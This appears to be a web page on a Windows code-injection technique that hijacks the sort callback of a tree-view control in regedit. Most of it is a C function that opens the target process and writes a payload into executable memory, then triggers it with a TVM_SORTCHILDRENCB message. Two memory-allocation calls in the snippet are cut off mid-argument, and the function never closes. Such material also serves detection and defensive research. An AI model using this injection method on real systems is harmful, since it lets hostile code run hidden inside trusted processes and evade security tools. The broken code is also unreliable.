(Rich)Edit controls are not the only ones that suffer callback overwrites. The tree-view controls are also in this category. When a tree-view control is displaying its content it needs to sort the items it shows. This sorting routine can be controlled, and changed with a TVSORTCB structure.

One of the fields in this structure is called lpfnCompare. It points to a routine that will be called anytime a comparison between tree elements is required. We can tell any tree-view window to use our callback by sending a TVM_SORTCHILDRENCB. The moment control executes our call back routine it’s a game over.

Code Snippets

VOID treepoline(LPVOID payload, DWORD payloadSize) {
    HANDLE        hp;
    DWORD         id;
    HWND          wpw, tlv;
    LPVOID        cs, ds, item;
    SIZE_T        rd, wr;
    TVSORTCB      tvs;
    // 1. get the treeview handle
    wpw = FindWindow(L"RegEdit_RegEdit", NULL);
    tlv = FindWindowEx(wpw, 0, L"SysTreeView32", 0);
    // 2. Obtain the process id and try to open process
    GetWindowThreadProcessId(tlv, &id);
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);

    // 3. Allocate RWX memory and copy the payload there.
    cs = VirtualAllocEx(hp, NULL, payloadSize,
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
    // 4. Obtain the root item in tree list
    item = (LPVOID)SendMessage(tlv, TVM_GETNEXTITEM, TVGN_ROOT, 0);

    tvs.hParent     = item;
    tvs.lpfnCompare = cs;
    tvs.lParam      = 0;
    // 5. Allocate RW memory and copy the TVSORTCB structure
    ds = VirtualAllocEx(hp, NULL, sizeof(TVSORTCB),
    WriteProcessMemory(hp, ds, &tvs, sizeof(TVSORTCB), &wr);
    // 6. Trigger payload
    SendMessage(tlv, TVM_SORTCHILDRENCB, 0, (LPARAM)ds);

    // 7. Free memory and close process handle
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);

Additional Resources

Subscribe to our Newsletter and don't miss important updates